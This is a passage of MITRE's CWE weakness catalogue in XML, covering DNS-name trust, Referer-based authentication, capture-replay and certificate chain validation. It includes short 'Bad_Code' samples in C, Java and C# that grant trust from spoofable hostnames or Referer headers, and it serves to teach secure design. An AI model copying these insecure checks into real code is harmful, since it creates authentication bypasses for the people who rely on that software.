				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication bypass by spoofing</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>22</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>459</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>461</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>94</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="292" Name="Trusting Self-reported DNS Name" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The use of self-reported DNS names as authentication is flawed
					and can easily be spoofed by malicious users.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>As DNS names can be easily spoofed or misreported, they do not constitute
						a valid authentication mechanism. Alternate methods should be used if the
						significant authentication is necessary. In addition, DNS name resolution as
						authentication would -- even if it was a valid means of authentication --
						imply a trust relationship with the DNS servers used, as well as all of the
						servers they refer to.</Text>
					          <Text>IP addresses are more reliable than DNS names, but they can also be
						spoofed. Attackers can easily forge the source IP address of the packets
						they send, but response packets will return to the forged IP address. To see
						the response packets, the attacker has to sniff the traffic between the
						victim machine and the forged IP address. In order to accomplish the
						required sniffing, attackers typically attempt to locate themselves on the
						same subnet as the victim machine. Attackers may be able to circumvent this
						requirement by using source routing, but source routing is disabled across
						much of the Internet today. In summary, IP address verification can be a
						useful part of an authentication scheme, but it should not be the single
						factor required for authentication.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Malicious users can fake authentication information by providing false
							DNS information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use other means of identity verification that cannot be simply
							spoofed. Possibilities include a username/password or
							certificate.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-42">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform proper forward and reverse DNS lookups to detect DNS spoofing.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-93">
					          <Intro_Text>The following code samples use a DNS lookup in order to decide
						whether or not an inbound request is from a trusted host. If an attacker can
						poison the DNS cache, they can gain trusted status.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>struct hostent *hp;struct in_addr myaddr;</Code>
							              <Code>char* tHost = "trustme.example.com";</Code>
							              <Code>myaddr.s_addr=inet_addr(ip_addr_string);</Code>
							              <Code/>
							              <Code>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct in_addr),
								AF_INET);</Code>
							              <Code>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost, sizeof(tHost)))
								{</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>} else {</Code>
							              <Block>
								                <Code>trusted = false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ip = request.getRemoteAddr();</Code>
							              <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
							              <Code>if (addr.getCanonicalHostName().endsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);</Code>
							              <Code>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);</Code>
							              <Code>if (hostInfo.HostName.EndsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>IP addresses are more reliable than DNS names, but they can also be
							spoofed. Attackers can easily forge the source IP address of the packets
							they send, but response packets will return to the forged IP address. To
							see the response packets, the attacker has to sniff the traffic between
							the victim machine and the forged IP address. In order to accomplish the
							required sniffing, attackers typically attempt to locate themselves on
							the same subnet as the victim machine. Attackers may be able to
							circumvent this requirement by using source routing, but source routing
							is disabled across much of the Internet today. In summary, IP address
							verification can be a useful part of an authentication scheme, but it
							should not be the single factor required for authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In these examples, a connection is established if a request is made
						by a trusted host.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>sd = socket(AF_INET, SOCK_DGRAM, 0);</Code>
							              <Code>serv.sin_family = AF_INET;</Code>
							              <Code>serv.sin_addr.s_addr = htonl(INADDR_ANY);</Code>
							              <Code>servr.sin_port = htons(1008);</Code>
							              <Code>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));</Code>
							              <Code>while (1) {</Code>
							              <Block>
								                <Code/>
								                <Code>memset(msg, 0x0, MAX_MSG);</Code>
								                <Code>clilen = sizeof(cli);</Code>
								                <Code>h=gethostbyname(inet_ntoa(cliAddr.sin_addr));</Code>
								                <Code>if (h-&gt;h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0,
									(struct sockaddr *) &amp; cli, &amp;clilen);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block>
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>while(true) {</Code>
							              <Block>
								                <Code>DatagramPacket rp=new
									DatagramPacket(rData,rData.length);</Code>
								                <Code>outSock.receive(rp);</Code>
								                <Code>String in = new String(p.getData(),0, rp.getLength());</Code>
								                <Code>InetAddress IPAddress = rp.getAddress();</Code>
								                <Code>int port = rp.getPort();</Code>
								                <Code>if ((rp.getHostName()==...) &amp; (in==...)) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>out = secret.getBytes();</Code>
									                  <Code>DatagramPacket sp =new DatagramPacket(out,out.length,
										IPAddress, port);</Code>
									                  <Code>outSock.send(sp);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> These examples check if a request is from a trusted host before
							responding to a request, but the code only verifies the hostname as
							stored in the request packet. An attacker can spoof the hostname, thus
							impersonating a trusted client. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1048</Observed_Example_Reference>
					          <Observed_Example_Description>VOIP product allows authentication bypass using
						127.0.0.1 in the Host header.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Trusting self-reported DNS name</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>89</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="293" Name="Using Referer Field for Authentication" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The referer field in HTTP requests can be easily modified and,
					as such, is not a valid means of message integrity
					checking.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>The referer field in HTML requests can be simply modified by malicious
						users, rendering it useless as a means of checking the validity of the
						request in question.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>referrer</Term>
					          <Alternate_Term_Description>
						            <Text>While the proper spelling might be regarded as "referrer," the HTTP
							RFCs and their implementations use "referer," so this is regarded as the
							correct spelling.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Actions, which may not be authorized otherwise, can be carried out as
							if they were validated by the server referred to.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In order to usefully check if a given action is authorized, some means
							of strong authentication and method protection must be used. Use other
							means of authorization that cannot be simply spoofed. Possibilities
							include a username/password or certificate.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code samples check a packet's referer in order to
						decide whether or not an inbound request is from a trusted
						host.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>String trustedReferer = "http://www.example.com/"</Code>
							              <Code>while(true){</Code>
							              <Block>
								                <Code>n = read(newsock, buffer, BUFSIZE);</Code>
								                <Code>requestPacket = processPacket(buffer, n);</Code>
								                <Code>if (requestPacket.referer == trustedReferer){</Code>
								                <Block>
									                  <Code>openNewSecureSession(requestPacket);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>boolean processConnectionRequest(HttpServletRequest
								request){</Code>
							              <Block>
								                <Code>String referer = request.getHeader("referer")</Code>
								                <Code>String trustedReferer = "http://www.example.com/"</Code>
								                <Code>if(referer.equals(trustedReferer)){</Code>
								                <Block>
									                  <Code>openPrivilegedConnection(request);</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>sendPrivilegeError(request);</Code>
									                  <Code>return false;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> These examples check if a request is from a trusted referer before
							responding to a request, but the code only verifies the referer name as
							stored in the request packet. An attacker can spoof the referer, thus
							impersonating a trusted client.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Mutability</Relevant_Property>
			      </Relevant_Properties>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "Referer Request Header", Page
						1030.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using referrer field for authentication</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Background_Details,
						Common_Consequences, Relationships, Relevant_Properties,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="294" Name="Authentication Bypass by Capture-replay" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>A capture-replay flaw exists when the design of the software
					makes it possible for a malicious user to sniff network traffic and bypass
					authentication by replaying it to the server in question to the same effect as
					the original message (or with minor changes).</Description_Summary>
				        <Extended_Description>
					          <Text>Capture-replay attacks are common and can be difficult to defeat without
						cryptography. They are a subset of network injection attacks that rely on
						observing previously-sent valid commands, then changing them slightly if
						necessary and resending the same commands to the server.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Messages sent with a capture-relay attack allow access to resources
							which are not otherwise accessible without proper authentication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Utilize some sequence or time stamping functionality along with a
							checksum which takes this into account in order to ensure that messages
							can be parsed only once.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Since any attacker who can listen to traffic can see sequence
							numbers, it is necessary to sign messages with some kind of cryptography
							to ensure that sequence numbers are not simply doctored along with
							content. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3435</Observed_Example_Reference>
					          <Observed_Example_Description>product authentication succeeds if user-provided
						MD5 hash matches the hash in its database; this can be subjected to replay
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4961</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: cleartext transmission of the MD5 hash of
						password (CWE-319) enables attacks against a server that is susceptible to
						replay (CWE-294).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication bypass by replay</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Capture-replay</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>102</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>94</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="296" Name="Improper Following of Chain of Trust for Certificate Validation" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The chain of trust is not followed or is incorrectly followed
					when validating a certificate, resulting in incorrect trust of any resource that
					is associated with that certificate.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>295</Relationship_Target_ID>
					          <!--Certificate Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>322</Relationship_Target_ID>
					          <!--Key Exchange without Entity Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>297</Relationship_Target_ID>
					          <!--Improper Validation of Host-specific Certificate Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>298</Relationship_Target_ID>
					          <!--Improper Validation of Certificate Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>299</Relationship_Target_ID>
					          <!--Improper Check for Certificate Revocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>If a system does not follow the chain of trust of a certificate to a root
						server, the certificate loses all usefulness as a metric of trust.
						Essentially, the trust gained from a certificate is derived from a chain of
						trust -- with a reputable trusted entity at the end of that list. The end
						user must trust that reputable source, and this reputable source must vouch
						for the resource in question through the medium of the certificate. In some
						cases, this trust traverses several entities who vouch for one another. The
						entity trusted by the end user is at one end of this trust chain, while the
						certificate wielding resource is at the other end of the chain. If the user
						receives a certificate at the end of one of these trust chains and then
